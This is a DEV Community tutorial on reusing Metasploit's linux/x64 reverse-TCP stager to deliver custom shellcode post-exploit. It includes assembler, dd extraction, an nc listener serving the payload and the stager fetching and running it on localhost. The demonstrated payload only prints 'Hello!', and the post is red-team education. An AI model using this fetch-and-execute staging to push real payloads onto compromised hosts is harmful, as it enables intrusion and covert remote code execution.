DEV Community

Cover image for Using metasploit to stage your own payloads
fx2301
fx2301

Posted on

Using metasploit to stage your own payloads

Why?

You want to make your C2 framework interoperable with metasploit framework so that you can deliver your own payloads post-exploit (Cobalt Strike does this).

When?

Your payload is position-independent code, fits within 4096 bytes, and delivering your payload in the clear is an acceptable indicator of compromise.

How?

This is a worked exampled for Linux x64 architecture.

Inspecting metasploit's stager code

Take a look at the source for stager_sock_reverse - the stager for linux/x64/shell/reverse_tcp.

Here's what's going on:

  1. It allocates 4k of RAM for your payload,
  2. connects to LHOST:LPORT over TCP,
  3. reads max 4k into RAM, and
  4. jumps to the start of your payload.

Note that LHOST and LPORT are hardcoded as 127.0.0.1 (0x0100007f) and 5555 (0xb315) respectively from movabs $0x100007fb3150002, %rcx. We don't care about this in the general case, because metasploit will override them based on our exploit options, but it matters for this demonstration.

Crafting a Hello World payload

This assembler is the bare minimum for a print statement that exits cleanly:

.global _start

_start:
  movabs $0x0A0D216f6c6c6548, %rcx # "Hello!\r\n"
  push %rcx 
  mov %rsp, %rsi # const char *buf
  mov $1, %rdi # int fd (stdout)
  mov $8, %rdx # size_t size
  mov $1, %rax # sys_write
  syscall

  mov $0, %rdi # int error_code
  mov $60, %rax # sys_exit
  syscall

  nop # 0x90
Enter fullscreen mode Exit fullscreen mode

We compile like so:

$ gcc -s -static -nostdlib hello_world.s -o hello_world
Enter fullscreen mode Exit fullscreen mode

This gives us an ELF executable (which is much more than we want):

$ file hello_world
hello_world: ELF 64-bit LSB executable, x86-64, 
  version 1 (SYSV), statically linked, stripped
Enter fullscreen mode Exit fullscreen mode

We can find the offset to the code we want with hexdump (note, that our nop instruction is 90 in hex and is at position 0x1036):

$ hexdump -C hello_world
00000000  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
...snip...
*
00001000  48 b9 48 65 6c 6c 6f 21  0d 0a 51 48 89 e6 48 c7  |H.Hello!..QH..H.|
00001010  c7 01 00 00 00 48 c7 c2  08 00 00 00 48 c7 c0 01  |.....H......H...|
00001020  00 00 00 0f 05 48 c7 c7  00 00 00 00 48 c7 c0 3c  |.....H......H..<|
00001030  00 00 00 0f 05 90 00 2e  73 68 73 74 72 74 61 62  |........shstrtab|
Enter fullscreen mode Exit fullscreen mode

We can then extract just our payload with dd:

$ dd if=hello_world ibs=1 \
  skip=$((0x1000)) count=$((0x36)) of=payload
Enter fullscreen mode Exit fullscreen mode

Putting it all together

First, we serve our payload at the default LPORT:

$ nc -nlvp 5555 < payload &
Listening on 0.0.0.0 5555
Enter fullscreen mode Exit fullscreen mode

Next we compile metasploit's stager from a local checkout:

$ gcc -nostdlib metasploit-framework/external/source/shellcode/linux/x64/stager_sock_reverse.s \
  -o stager_sock_reverse
Enter fullscreen mode Exit fullscreen mode

Then we run the stager which grabs the payload and it executes:

$ ./stager_sock_reverse 
Connection received on 127.0.0.1 38126
Hello!
Enter fullscreen mode Exit fullscreen mode

Success!

Top comments (0)